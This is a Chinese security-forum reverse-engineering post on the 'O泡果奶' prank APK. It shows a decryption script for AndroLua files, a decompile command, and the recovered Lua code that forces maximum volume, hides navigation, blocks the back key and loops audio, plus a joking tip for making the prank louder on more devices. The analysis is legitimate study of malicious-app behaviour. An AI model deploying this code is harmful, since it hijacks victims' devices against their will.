安全矩阵

 找回密码
 立即注册
搜索
查看: 4530|回复: 0

【移动安全】「 O 泡果奶」App 分析

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-17 20:41:05 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-10-17 20:43 编辑

原文链接:【移动安全】「 O 泡果奶」App 分析

近日,一个名为「一个礼物」的文件在大学中传播开来,手机只要点开就会强制播放“o泡果奶”的魔性广告声,中招者会因该原因产生“社会性死亡”。


这个app有这几个特点:
1、手机没弹权限申请
2、音量调节被锁定,固定在某一特定值
3、返回键被锁定

该apk与927事件中 送给最好的TA.apk  (以下简称为ta)极度相似
1、效果相同
2、同样使用了androlua
3、主要的恶意lua文件内容几乎相同

该app大概使用的是这个工具 https://github.com/nirenr/AndroLua_pro

Androlua工程结构:
  • init.lua 工程配置文件
  • main.lua 工程主入口文件
  • layout.aly  工程默认创建的布局文件
注:GitHub已经不是最新版了,作者建了个付费QQ群,群内更新。

潜入QQ群,白嫖了一个 Androlua编辑器

  
新建项目后有三个默认的lua文件




由以上可得,该软件本质上是lua + Android上的lua环境,主要的逻辑在main.lua中,接下来对lua进行分析。

lua文件的解密过程位于libluajava.so中:


  
直接使用chamd5团队的解密脚本:
  1. # -*- coding:utf8 -*-
  2. __author__='pcat@chamd5.org'
  3. __blog__='http://pcat.cc'

  4. from ctypes import *
  5. import sys

  6. def decrypt(filename):
  7.     s=open(filename,'rb').read()
  8.     outfile='decode_'+ filename
  9.     if s[0]==chr(0x1b) and s[1]!=chr(0x4c):
  10.         rst=chr(0x1b)
  11.         size=len(s)
  12.         v10=0
  13.         for i in range(1,size):
  14.             v10+=size
  15.             v=(c_ulonglong(-2139062143*v10).value>>32)+v10
  16.             v1=c_uint(v).value>>7
  17.             v2=c_int(v).value<0
  18.             rst+=chr(ord(s[i])^(v10+v1+v2)&0xff)
  19.         with open(outfile,'wb') as f:
  20.             f.write(rst)
  21.     else:
  22.         pass

  23. def foo():
  24.     if len(sys.argv)==2:
  25.         filename=sys.argv[1]
  26.     else:
  27.         filename='main.lua'
  28.     decrypt(filename)

  29. if __name__ == '__main__':
  30.     foo()
复制代码

然后对解密后的lua文件进行反编译:
  1. java -jar unluac_2020_05_28.jar decode_main.lua
复制代码
反编译之后是这样的:


手动整理一下,关键逻辑都在这了:
  1. require("import")

  2. import("android.app.*")
  3. import("android.os.*")
  4. import("android.widget.*")
  5. import("android.view.*")
  6. import("android.view.View")
  7. import("android.content.Context")
  8. import("android.media.MediaPlayer")
  9. import("android.media.AudioManager")
  10. import("com.androlua.Ticker")


  11. activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
  12. activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

  13. // 循环播放 mc.mp3
  14. m = MediaPlayer()
  15. m.reset()
  16. m.setDataSource(activity.getLuaDir() .. "/mc.mp3") // 与ta唯一的区别
  17. m.prepare()
  18. m.start()
  19. m.setLooping(true)

  20. // 周期性定时器
  21. ti = Ticker() // androlua Ticker
  22. ti.Period = 10 //周期

  23. function tick() //设置定时器触发的函数
  24.   activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) //音量调节到15 并弹出音量条
  25.   activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) //锁定全屏
  26. end

  27. ti.onTick = tick
  28. ti.start() //开启定时器,间隔为10ms

  29. function keyDown(A0, A1) //按键监听
  30.   if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then //当按下返回键
  31.     activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
  32.     // 音量调节到15 并弹出 音量条
  33.   end
  34.   return true

  35. onKeyDown = keyDown
复制代码

测了一下,我这个设备的音乐音量最大值为30,由此可见,这软件兼容性差点事,推荐使用  getStreamMaxVolume(AudioManager.STREAM_MUSIC)   来获取当前设备的音量最大值,统一一下受害者的受害体验。




这玩意怕是算不上木马、病毒,顶多算个恶搞app,没什么内容。


参考资料:  
1、ChaMd5 “送给最好的TA.apk”简单逆向分析 -  https://cloud.tencent.com/developer/article/1517234


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 12:26 , Processed in 0.012450 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表